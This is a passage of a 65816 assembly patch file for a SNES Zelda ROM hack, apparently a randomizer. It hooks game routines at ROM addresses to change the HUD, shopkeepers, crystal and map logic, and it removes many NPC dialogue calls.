DrawBombTens ; nudge bomb 10s digit right org $0DFCC4 ; <- 6FCC4 JSL.l DrawBombOnes ; nudge bomb 1s digit right org $0DFCDC ; <- 6FCDC JSL.l DrawArrowTens org $0DFCE8 ; <- 6FCE8 JSL.l DrawArrowOnes org $0DFD0A ; <- 6FD0A - headsup_display.asm : 900 STA $7EC766 ; nudge key digit right org $0DFD13 ; <- 6FD13 - headsup_display.asm : 905 STA $7EC726 ; key icon blank org $0DFC37 ; <- 6FC37 - headsup_display.asm : 828 (LDA.w #$28F7) JSL.l DrawMagicHeader NOP #17 ;-------------------------------------------------------------------------------- org $0DFB29 ; <- headsup_display.asm : 688 (LDA.b #$86 : STA $7EC71E) ;LDA.b #$86 : STA $7EC720 ; nudge silver arrow right - remember to update this in newit ;LDA.b #$24 : STA $7EC721 ;LDA.b #$87 : STA $7EC722 ;LDA.b #$24 : STA $7EC723 JSL.l DrawHUDArrows : BRA + NOP #18 + ; ;-------------------------------------------------------------------------------- org $01CF67 ; <- CF67 - Bank01.asm : 11625 (STA $7EF36F) JSL.l DecrementSmallKeys ; ;-------------------------------------------------------------------------------- org $0DED04 ; <- 6ED04 - equipment.asm : 1963 (REP #$30) JSL.l DrawHUDDungeonItems ;-------------------------------------------------------------------------------- ; Insert our version of the hud tilemap org $0DFA96 ; <- 6FA96 - headsup_display.asm : 626 (LDX.w #.hud_tilemap) LDX.w #HUD_TileMap org $0DFA9C ; <- 6FA9C - headsup_display.asm : 629 (MVN $0D, $7E ; $Transfer 0x014A bytes from $6FE77 -> $7EC700) MVN $C77E ;-------------------------------------------------------------------------------- ;org $0DE48E ; <- 6E48E - equipment.asm : 1233 (LDA.w #$11CE : STA $00) - HOOK HERE TO DRAW ON THE ITEM SCREEN ;JSL.l DrawHUDDungeonItems ;NOP ;-------------------------------------------------------------------------------- org $0DFB1F ; 6FB1F - headsup_display.asm : 681 (LDA $7EF340 : BEQ .hastNoBow) JSL.l CheckHUDSilverArrows ;-------------------------------------------------------------------------------- ;================================================================================ ; 300 Rupee NPC ;-------------------------------------------------------------------------------- org $1EF060 ; <- F7060 - sprite_shopkeeper.asm:242 (INC $0D80, X) JSL.l Set300RupeeNPCItem NOP ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Glitched Mode Fixes ; ;-------------------------------------------------------------------------------- ; org $0691AC ; <- 311AC - sprite_prep.asm:2453 (LDY $0FFF) ; JSL.l GetAgahnimPalette ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $06F0DD ; <- 370DD - Bank06.asm:5399 (STA $0BA0, X) ; JSL.l GetAgahnimDeath ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $1ED4E6 ; <- F54E6 - sprite_agahnim.asm:314 (LDY $0FFF) ; JSL.l GetAgahnimType ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $1ED577 ; <- F5577 - sprite_agahnim.asm:418 (PHX) ; JML.l GetAgahnimSlot ; GetAgahnimSlotReturn: ; ;-------------------------------------------------------------------------------- ; org $1ED678 ; <- F5678 - sprite_agahnim.asm:587 (INC $0E30, X) ; NOP #2 ; JSL.l GetAgahnimLightning ; ;-------------------------------------------------------------------------------- ; org $0287E0 ; <- 107E0 - Bnak02.asm:1507 (LDA $0112 : ORA $02E4 : ORA $0FFC : BEQ .allowJoypadInput) ; JSL.l AllowJoypadInput : NOP #5 ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Half Magic Bat ;-------------------------------------------------------------------------------- org $05FBD3 ; <- 2FBD3 - sprite_mad_batter.asm:209 - (STA $7EF37B) JSL.l GetMagicBatItem ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; MSU Music ; ;-------------------------------------------------------------------------------- ; org $0080D7 ; <- D7 - Bank00.asm:172 (SEP #$30) ; spc_nmi: ; JML msu_main ; NOP ; spc_continue: ; org $0EE6EC ; <- E220 A922 - Bank0E.asm:2892 (SEP #$20) ; JSL.l ending_wait ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Replacement Shopkeeper ;-------------------------------------------------------------------------------- org $068BEB ; <- 30BEB - sprite_prep.asm:1125 - (INC $0BA0, X) JSL.l SpritePrep_ShopKeeper : RTS : NOP ShopkeeperFinishInit: ;-------------------------------------------------------------------------------- org $1EEEE3 ; <- F6EE3 - sprite_shopkeeper.asm:7 - (LDA $0E80, X) JSL.l Sprite_ShopKeeper : RTS : NOP ShopkeeperJumpTable: ;-------------------------------------------------------------------------------- ;================================================================================ ; Tile Target Loader ;-------------------------------------------------------------------------------- org $00D55E ; <- 555E - Bank00.asm:3491 (LDX.w #$2D40) JSL.l LoadModifiedTileBufferAddress : NOP #2 ;-------------------------------------------------------------------------------- ;================================================================================ ; Permabunny Fix ;-------------------------------------------------------------------------------- org $078F32 ; <- 38F32 - Bank07.asm:2420 - (LDA $7EF357) JSL.l DecideIfBunny ; for bunny beams ;-------------------------------------------------------------------------------- ;================================================================================ ; Other bunny Fixes ;-------------------------------------------------------------------------------- org $029E7C; <- 11E7C - module_ganon_emerges.asm:127 - (LDA.b #$09 : STA $012C) JSL.l FixAga2Bunny : NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Open Mode Fixes ;-------------------------------------------------------------------------------- org $05DF65 ; <- 2DF65 - sprite_uncle_and_priest.asm:994 - (LDA.b #$01 : STA $7EF3C5) JSL.l SetUncleRainState : RTS ;-------------------------------------------------------------------------------- ;org $0280DD ; <- 100DD - Bank02.asm:298 - (LDA $7EF3C5 : CMP.b #$02 : BCC .indoors) ;JSL.l ForceLinksHouse ;-------------------------------------------------------------------------------- org $05EDDF ; <- 2EDDF - sprite_zelda.asm:398 - (LDA.b #$02 : STA $7EF3C5) JSL.l EndRainState : NOP #2 ;-------------------------------------------------------------------------------- org $05DF49 ; <- 2DF49 - sprite_uncle_and_priest.asm:984 - (JSL Link_ReceiveItem) JSL.l OnUncleItemGet ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Generic Keys ; ;-------------------------------------------------------------------------------- ; org $028157 ; <- 10157 - Bank02.asm:381 - (LDA $040C : CMP.b #$FF : BEQ .notPalace) ; JSL.l CheckKeys : NOP ; ;-------------------------------------------------------------------------------- ; org $028166 ; <- 10166 - Bank02.asm:396 - (LDA $7EF37C, X) ; JSL.l LoadKeys ; ;-------------------------------------------------------------------------------- ; org $029A31 ; <- 11A31 - Bank02.asm:4785 - (LDA $7EF37C, X) ; JSL.l LoadKeys ; ;-------------------------------------------------------------------------------- ; org $02A0D1 ; <- 120D1 - Bank02.asm:5841 - (STA $7EF37C, X) ; JSL.l SaveKeys ; ;-------------------------------------------------------------------------------- ; org $09F584 ; <- 4F584 - module_death.asm:447 - (STA $7EF37C, X) ; JSL.l SaveKeys ; ;-------------------------------------------------------------------------------- ; org $0282EC ; <- 102EC - Bank02.asm:650 - (STA $7EF36F) ; JSL.l ClearOWKeys ;-------------------------------------------------------------------------------- org $0DFA80 ; <- 6FA80 : headsup_display.asm:596 - (LDA.b #$00 : STA $7EC017) JSL.l HUDRebuildIndoor : NOP #4 ;-------------------------------------------------------------------------------- org $029A35 ; <- 11A35 : Bank02.asm:4789 - (JSL HUD.RebuildIndoor.palace) JSL.l HUDRebuildIndoorHole ;-------------------------------------------------------------------------------- org $0DFCEC ; <- 6FCEC : headsup_display.asm:887 - (LDA.w #$007F : STA $05) LDA.w #$7F7F : STA $04 ; Have both key digits default to blank org $0DFD02 ; <- 6FD02 ; headsup_display.asm:900 - (LDA $05 : AND.w #$00FF : ORA.w #$2400 : STA $7EC764) JSL.l DrawKeyIcon : NOP #8 ;-------------------------------------------------------------------------------- ;================================================================================ ; Pendant / Crystal Fixes ;-------------------------------------------------------------------------------- ;org $0DE9C8 ; <- 6E9C8 - original check for agahnim 1 being defeated ;;LDA $7EF3CA : CMP.b #$40 ; check for dark world instead ;JSL.l CheckPendantHUD ;NOP #2 ;================================================================================ org $0DE9C8 ; <- 6E9C8 - equipment.asm:1623 - (LDA $7EF3C5 : CMP.b #$03 : BCC .beforeAgahnim) JSL.l DrawPendantCrystalDiagram : RTS ;NOP #11 ;================================================================================ org $0DEDCC ; <- 6EDCC - equipment.asm:2043 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BNE .inSpecificDungeon) JSL.l ShowDungeonItems : NOP #5 org $0DEE59 ; <- 6EE59 - equipment.asm:2126 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalace) JSL.l ShowDungeonItems : NOP #5 org $0DEE8A ; <- 6EE8A - equipment.asm:2151 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalaceAgain) JSL.l ShowDungeonItems : NOP #5 org $0DEF3B ; <- 6EF3B - equipment.asm:2290 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalace) JSL.l ShowDungeonItems : NOP #5 ;================================================================================ org $0DEA5F ; <- 6EA5F - equipment.asm:1679 - (SEP #$30) ;NOP #5 ;BRL .skipCrystalInit ;org $0DEAA4 ; <- 6EAA4 - equipment.asm:1706 - (LDA $7EF37A : AND.w #$0001) ;.skipCrystalInit ;================================================================================ org $0DE9D8 ; <- 6E9D8 - equipment.asm:1635 - (LDA $E860, X : STA $12EA, X) org $0DEA15 ; <- 6EA15 - equipment.asm:1647 - (LDA.w #$13B2 : STA $00) ;================================================================================ org $00F97E ; <- 797E - Bank00.asm:8586 - (LDA $7EF3CA : EOR.b #$40 : STA $7EF3CA) JSL.l FlipLWDWFlag : NOP #6 ;================================================================================ org $02B162 ; <- 13162 - Bank02.asm:7672 - (LDA $7EF3CA : EOR.b #$40 : STA $7EF3CA) JSL.l IncrementOWMirror JSL.l FlipLWDWFlag NOP #2 ;================================================================================ ;Clear level to open doors org $01C50D ; 0xC50D - Bank01.asm:10032 - (LDA $7EF3CA : BNE .inDarkWorld) JML.l RoomTag_RoomTrigger_KillDoor_ExtendedItems ;================================================================================ ;Kill enemy to clear level org $01C715 ; <- C715 - Bank01.asm:10358 - (LDA $7EF3CA : BNE .inDarkWorld) JML.l RoomTag_KillRoomForPrize_ExtendedItems ;================================================================================ org $098BBC ; #_098BBC: LDA.w .receipt_ids,Y (AncillaAdd_FallingPrize) JSL AncillaAdd_FallingPrize_ExtendedItems NOP #2 org $08CAD6; #_08CAD6: LDA.w $0C5E,X (Ancilla29_MilestoneItemGet) JSL Ancilla29_MilestoneItemGet_ExtendedItems NOP #2 org $00E4A2 JML Graphics_LoadChrHalfSlot_ExtendedItems NOP #3 org $0ABAB9 JML WorldMap_LoadSpriteGFX_ExtendedItems ;org $0AC5C3 ; <- 545C3 - Bank0A.asm:1859 - (LDA $7EF374 : AND $0AC5A6, X : BEQ .fail) ;NOP #10 ;CLC ;================================================================================ org $0AC5BB ; < 545BB - Bank0A.asm:1856 - (LDA $7EF3C7 : CMP.b #$03 : BNE .fail) JSL.l OverworldMap_CheckObject : RTS org $0AC5D8 ; < 545D8 - Bank0A.asm:1885 - (LDA $7EF3C7 : CMP.b #$07 : BNE OverworldMap_CheckPendant_fail) JSL.l OverworldMap_CheckObject : RTS ;================================================================================ org $0AC012 ; <- 54012 - Bank0A.asm:1039 - (LDA $7EF2DB) JSL.l OnLoadMap ;================================================================================ org $0AC53e ; <- 5453E - Bank0A.asm:1771 - (LDA $0AC50D, X : STA $0D) JSL.l GetCrystalNumber ;================================================================================ ; EVERY INSTANCE OF STA $7EF3C7 IN THE ENTIRE CODEBASE org $029D51 ; <- 11D51 JSL.l SetLWDWMap org $0589BB ; <- 289BB JSL.l SetLWDWMap org $05DD9A ; <- 2DD9A JSL.l SetLWDWMap org $05F1F6 ; <- 2F1F6 JSL.l SetLWDWMap org $05F209 ; <- 2F209 JSL.l SetLWDWMap org $05FF91 ; <- 2FF91 JSL.l SetLWDWMap org $098687 ; <- 48687 JSL.l SetLWDWMap org $1ECEDD ; <- F4EDD JSL.l SetLWDWMap org $1ECF0D ; <- F4F0D JSL.l SetLWDWMap ;================================================================================ ; EVERY INSTANCE OF LDA $7EF3C7 IN THE ENTIRE CODEBASE org $05DDFE ; <- 2DDFE JSL.l GetMapMode org $05EE25 ; <- 2EE25 JSL.l GetMapMode org $05F17D ; <- 2F17D JSL.l GetMapMode org $05FF7D ; <- 2FF7D JSL.l GetMapMode org $0AC01A ; <- 5401A JSL.l GetMapMode org $0AC037 ; <- 54037 JSL.l GetMapMode org $0AC079 ; <- 54079 JSL.l GetMapMode org $0AC0B8 ; <- 540B8 x JSL.l GetMapMode org $0AC0F8 ; <- 540F8 JSL.l GetMapMode org $0AC137 ; <- 54137 JSL.l GetMapMode org $0AC179 ; <- 54179 JSL.l GetMapMode org $0AC1B3 ; <- 541B3 JSL.l GetMapMode org $0AC1F5 ; <- 541F5 JSL.l GetMapMode org $0AC22F ; <- 5422F JSL.l GetMapMode org $0AC271 ; <- 54271 JSL.l GetMapMode org $0AC2AB ; <- 542AB JSL.l GetMapMode org $0AC2ED ; <- 542ED JSL.l GetMapMode org $0AC327 ; <- 54327 JSL.l GetMapMode org $0AC369 ; <- 54369 JSL.l GetMapMode org $0DC849 ; <- 6C849 JSL.l GetMapMode ;================================================================================ org $0AC012 ; <- 54012 - Bank0A.asm:1039 (LDA $7EF2DB : AND.b #$20 : BNE BRANCH_DELTA) NOP #8 ;================================================================================ org $028B8F ; <- 10B8F - Bank02.asm:2236 (LDA $7EF374 : LSR A : BCS BRANCH_BETA) JSL.l CheckHeraObject : BNE + : NOP LDX.b #$F1 : STX $012C + ;================================================================================ org $029090 ; <- 11090 - Bank02.asm:3099 (LDA $7EF374 : LSR A : BCS BRANCH_GAMMA) JSL.l CheckHeraObject : BNE + : NOP STX $012C ; DON'T MOVE THIS FORWARD OR MADNESS AWAITS + ;================================================================================ org $029798 ; <- 11798 - Bank02.asm:4287 (CMP $02895C, X : BNE BRANCH_ALPHA) NOP #6 ; remove crystal room cutscene check that causes softlocks ;================================================================================ ; ;================================================================================ ; ; Text Changes ; ;-------------------------------------------------------------------------------- ; ;org $06C7D3 ; <- 347D3 - sprite_ponds.asm:720 (LDA.b #$8A) ; ;JSL.l DialogFairyThrow ; ;-------------------------------------------------------------------------------- org $06C7BB ; <- 347BB - sprite_ponds.asm:702 (JSL Sprite_ShowMessageFromPlayerContact : BCC BRANCH_ALPHA) JSL.l FairyPond_Init ; ;-------------------------------------------------------------------------------- org $06C9C0 ; <- 349C0 - sprite_ponds.asm:1068 (JSL Link_ReceiveItem) JSL.l FairyPond_PreventReplacement ; ;-------------------------------------------------------------------------------- org $08C5ED ; <- 445ED - ancilla_receive_item.asm:395 (STA $1CF0 : CMP.w #$0070 : BNE .notGeezerSpeech) NOP #3 ; ;-------------------------------------------------------------------------------- ; org $02A005 ; <- 12005 - Bank02.asm:5667 (JSL Main_ShowTextMessage) ; JSL.l DialogTriforce : NOP #4 ; ;-------------------------------------------------------------------------------- ; org $1D92EC ; <- E92EC - sprite_ganon.asm:947 (JSL Sprite_ShowMessageMinimal) ; JSL.l DialogGanon1 ; ;-------------------------------------------------------------------------------- ; org $1D9078 ; <- E9078 - sprite_ganon.asm:552 (LDA.b #$70 : STA $1CF0) ; JSL.l DialogGanon2 : RTS ; ;-------------------------------------------------------------------------------- ; org $1DA4EC ; <- EA4EC - sprite_blind_entities.asm:845 (JSL Sprite_ShowMessageMinimal) ; JSL.l DialogBlind ; ;-------------------------------------------------------------------------------- ; org $06C94C ; <- 3494C - sprite_ponds.asm:970 (JSL Sprite_ShowMessageUnconditional) ; JSL.l DialogPyramidFairy ; ;-------------------------------------------------------------------------------- org $06C454 ; <- 34454 - sprite_ponds.asm:133 (LDA $0D80, X) LDA.b #$00 : NOP ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (no green pendant) ; org $05F16C ; <- 2F16C sprite_elder.asm:137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (have boots) ; org $05F1A8 ; <- 2F1A8 sprite_elder.asm:170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (have boots, have ice rod) ; org $05F1BC ; <- 2F1BC sprite_elder.asm:182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (have boots, have ice rod, have 3 pendants) ; org $05F1CE ; <- 2F1CE sprite_elder.asm:194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (have boots, have ice rod, have 3 pendants, have master sword) ; org $05F1D8 ; <- 2F1D8 sprite_elder.asm:204 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- drinking guy ; org $1EF61C ; <- F761C sprite_drinking_guy.asm:29 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;================================================================================ ;================================================================================ ; Text Removal ;-------------------------------------------------------------------------------- ;-- Music restarting at zelda fix org $05ED10 ; <- 2ED10 - sprite_zelda.asm : 233 - (LDA.b #$19 : STA $012C) NOP #5 ;-------------------------------------------------------------------------------- org $1ECE47 ; <- F4E47 - sprite_crystal_maiden.asm : 220 JML.l MaidenCrystalScript ;-------------------------------------------------------------------------------- org $1ECCEB ; <- F4CEB - sprite_crystal_maiden.asm : 25 ; skip all palette nonsense JML.l SkipCrystalPalette org $1ECD39 SkipCrystalPalette: ;-------------------------------------------------------------------------------- org $08C3FD ; <- 443FD - ancilla_receive_item.asm : 89 !MS_GOT = "$7F5031" LDA #$40 : STA !MS_GOT ;;NOP #6 ; don't set master sword follower ;-------------------------------------------------------------------------------- org $08C5FE ; <- 445FE - ancilla_receive_item.asm : 408 NOP #4 ;-------------------------------------------------------------------------------- org $1ED467 ; <- F5467 - sprite_agahnim.asm : 202 NOP #4 ;-------------------------------------------------------------------------------- org $1ED4FF ; <- F54FF - sprite_agahnim.asm : 328 NOP #4 ;-------------------------------------------------------------------------------- ;org $029C94 ; <- 11C94 - Bank02.asm : 5197 (JSL Main_ShowTextMessage) ;NOP #4 ;-------------------------------------------------------------------------------- org $029CBD ; <- 11CBD - Bank02.asm : 5227 (JSL Messaging_Text) STZ $11 NOP #2 ;-------------------------------------------------------------------------------- ;org $029CD3 ; <- 11CD3 - Bank02.asm : 5237 (BNE BRANCH_BETA) ;db $80 ; BRA ;-------------------------------------------------------------------------------- org $029CDF ; <- 11CDF - Bank02.asm : 5245 (JSL Main_ShowTextMessage) NOP #4 ;-------------------------------------------------------------------------------- org $029CF0 ; <- 11CF0 - Bank02.asm : 5266 STZ $11 NOP #2 ;-------------------------------------------------------------------------------- org $05FB70 ; <- 2FB70 - sprite_mad_batter.asm:131 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- org $05FBC2 ; <- 2FBC3 - sprite_mad_batter.asm:195 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- ;org $05F16C ; <- 2F16C - sprite_elder.asm : 137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F190 ; <- 2F190 - sprite_elder.asm : 170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1A8 ; <- 2F1A8 - sprite_elder.asm : 182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1BC ; <- 2F1BC - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1CE ; <- 2F1CE - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ; ;-- Old mountain man healing text ; org $1EEAD7 ; F6AD7 sprite_old_mountain_man.asm : (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-------------------------------------------------------------------------------- ; ;-- Priest healing text ; org $05DE11 ; 2DE11 sprite_uncle_and_priest.asm : 720 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .gamma) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-------------------------------------------------------------------------------- ; ;-- zelda's heal text ; org $05EE38 ; <- 2ee38 sprite_zelda.asm : 474 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-------------------------------------------------------------------------------- ;-- zelda in jail org $05ED06 ; <- 2ED06 sprite_zelda.asm : 227 - (JSL Sprite_ShowMessageUnconditional) STZ $1CE8 : NOP org $05ED27 ; <- 2ED27 sprite_zelda.asm : 256 - (JSL Sprite_ShowMessageUnconditional) NOP #4 org $05ED35 ; <- 2ED35 sprite_zelda.asm : 272 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- sanctuary org $05DD83 ; <- 2DD83 sprite_uncle_and_priest.asm : 608 - (JSL Sprite_ShowMessageUnconditional) STZ $1CE8 : NOP org $05EDC8 ; <- 2EDC8 sprite_zelda.asm : 388 - (JSL Sprite_ShowMessageUnconditional) NOP #4 org $05DDAB ; <- 2DDAB sprite_uncle_and_priest.asm : 635 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- Sick Kid org $06B9C6 ; <- 339C6 sprite_bug_net_kid.asm : 92 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- Hobo org $06BE5F ; <- 33E5F sprite_hobo.asm : 121 - (JSL Sprite_ShowMessageUnconditional) Nop #4 ;---------------------------------------------------------- ;-- Sahasrahla ;org $05F190 ; <- 2F190 sprite_elder.asm : 154 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show_2) - "Blah blah blah, take the boots" ;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $05F212 ; <- 2F212 sprite_elder.asm : 261 - (JSL Sprite_ShowMessageUnconditional) - "Gave you the boots but I'm not doing talking yet" NOP #4 org $05F1ED ; <- 2F1ED sprite_elder.asm : 225 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Shopkeepers org $1EEF7C ; <- F6F7C sprite_shopkeeper.asm : 85 (JSL Sprite_ShowMessageUnconditional) NOP #4 org $1EF375 ; <- F7375 sprite_shopkeeper.asm : 810 (JSL Sprite_ShowMessageUnconditional : JSL ShopKeeper_RapidTerminateReceiveItem) NOP #8 ;---------------------------------------------------------- ;-- Bomb shop guy (buying small bombs, and buying big bomb) org $1EE1C0 ; <- F61C0 sprite_bomb_shop_entity.asm : 120 (JSL Sprite_ShowMessageUnconditional) NOP #4 org $1EE208 ; <- F6208 sprite_bomb_shop_entity.asm : 178 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- Text hook for the actual npc ;org $1EE181 ; <- F6181 sprite_bomb_shop_entity.asm : 85 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ;---------------------------------------------------------- ;-- Catfish org $1DE112 ; <- EE112 sprite_great_catfish.asm : 341 (JSL Sprite_ShowMessageMinimal) NOP #4 ;---------------------------------------------------- ;-- King Zora org $059A7D ; <- 29A7D sprite_zora_king.asm : 223 - (JSL Sprite_ShowMessageMinimal) STZ $1CE8 : NOP ;---------------------------------------------------- ;-- Before Agah 1 fight org $1DD299 ; <- ED299 sprite_chatty_agahnim.asm : 111 (JSL Sprite_ShowMessageMinimal) NOP #4 org $1DD35E ; <- ED35E sprite_chatty_agahnim.asm : 253 (JSL Sprite_ShowMessageMinimal) NOP #4 ;---------------------------------------------------- ;-- Blind Maiden (in jail) ;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak) ;NOP #4 ;---------------------------------------------------- ;-- Blind (Maiden) in Jail ;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak) ;JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------- ;-- Kiki org $1EE3E6 ; <- F63E6 sprite_kiki.asm : 157 pay kiki 10 rupees STZ $1CE8 : NOP org $1EE400 ; <- F6400 sprite_kiki.asm : 178 thanks for giving kiki rupees NOP #4 org $1EE4FB ; <- F64FB sprite_kiki.asm : 340 pay 100 rupees STZ $1CE8 : NOP org $1EE523 ; <- F6523 sprite_kiki.asm : 373 kiki will open door NOP #4 ;org $1EE414 ; <- F6414 sprite_kiki.asm : 193 don't have 10 rupees ;NOP #4 ;org $1EE50C ; <- F650C sprite_kiki.asm : 356 don't have 100 rupees ;NOP #4 ;---------------------------------------------------- ;-- Witch org $05E4FB ; <- 2E4FB sprite_witch.asm : 165 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) NOP #4 ;---------------------------------------------------- ;-- Breaking Ganon's Tower Seal org $08CD3A ; <- 44D3A ancilla_break_tower_seal.asm : 55 (JSL Main_ShowTextMessage) NOP #4 ;-------------------------------------------------------------------------------- org $08CF19 ; <- 44F19 - ancilla_break_tower_seal.asm : 336 (TXA : AND.b #$07 : TAX) JSL.l GetRequiredCrystalsInX ;-------------------------------------------------------------------------------- org $08CFC9 ; <- 44FC9 - ancilla_break_tower_seal.asm : 414 (RTS) db #$6B ;-------------------------------------------------------------------------------- org $08CE93 Ancilla_BreakTowerSeal_draw_single_crystal: org $08CEC3 Ancilla_BreakTowerSeal_stop_spawning_sparkles: org $08CF59 BreakTowerSeal_ExecuteSparkles: ;================================================================================ ; Crystals Mode ;-------------------------------------------------------------------------------- org $099B7B ; <- ancilla_init.asm : 4136 (LDA $7EF37A : AND.b #$7F : CMP.b #$7F) JSL.l CheckEnoughCrystalsForTower NOP #4 db #$90 ; BCC ;-------------------------------------------------------------------------------- org $08CE0C ; <- 44E0C - ancilla_break_tower_seal.asm : 168 (BEQ #$03 : JSR BreakTowerSeal_ExecuteSparkles : LDX.b #$06) JML.l GetRequiredCrystalsForTower NOP #3 GetRequiredCrystalsForTower_continue: ;---------------------------------------------------- ;-- Bombos tablet ;org $05F3BF ; <- 2F3BF sprite_medallion_tablet.asm : 254 (JSL Sprite_ShowMessageUnconditional) ;JSL.l DialogBombosTablet ;---------------------------------------------------- ;-- Ether tablet ;org $05F429 ; <- 2F429 sprite_medallion_tablet.asm : 317 (JSL Sprite_ShowMessageUnconditional) ;JSL.l DialogEtherTablet ;---------------------------------------------------- ;-- Agahnim 1 Defeated org $068475 ; <- 30475 Bank06.asm : 762 - (JSL Sprite_ShowMessageMinimal) JSL.l AddInventory_incrementBossSwordLong ;NOP #4 ; ;---------------------------------------------------- ; ;-- Old Mountain Man Encounter Text ; org $1EE9BC ; <- sprite_old_mountain_man.asm : 157 - (Sprite_ShowMessageFromPlayerContact) ; JSL Sprite_ShowMessageFromPlayerContact_Edit ; org $09A67D ; <- 4A67D tagalong.asm : 1152 (JSL OldMountainMan_TransitionFromTagalong) ; JML OldMountainMan_TransitionFromTagalong_Edit ; ;---------------------------------------------------------- ; ;-- Purple Chest Encounter Text ; org $1EE0E7 ; <- F60E7 sprite_thief_chest.asm : 16 (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_touch) ; JSL Sprite_ShowMessageFromPlayerContact_Edit ; ;---------------------------------------------------------- ; ;-- Middle aged man opens purple chest ; org $06BD44 ; <- 33D44 sprite_middle_aged_man.asm : 107 (JSL Sprite_ShowMessageFromPlayerContact : BCC .return) ; JSL Sprite_ShowMessageFromPlayerContact_Edit ; ;---------------------------------------------------------- ;-- Smiths ;-- Ribbit ; org $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-- Ask us to do anything ; org $06B418 ; <- 33418 sprite_smithy_bros.asm : 371 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .player_didnt_speak) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-- Your sword is tempered! ; org $06B538 ; <- 33538 sprite_smithy_bros.asm : 602 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .no_player_dialogue) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-- Brought dwarf home org $06B438 ; <- 33438 sprite_smithy_bros.asm : 399 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- 10 rupees to temper org $06B470 ; <- 33470 sprite_smithy_bros.asm : 447 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- Yes, I'm sure org $06B495 ; <- 33495 sprite_smithy_bros.asm : 479 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- We'll take your sword org $06B4F3 ; <- 334F3 sprite_smithy_bros.asm : 556 (JSL Sprite_ShowMessageUnconditional) JSL ItemSet_SmithSword ;NOP #4 ;-- Smiths can't make your sword any stronger org $06B4A1 ; <- 334A1 sprite_smithy_bros.asm : 491 - (Sprite_ShowMessageUnconditional) NOP #4 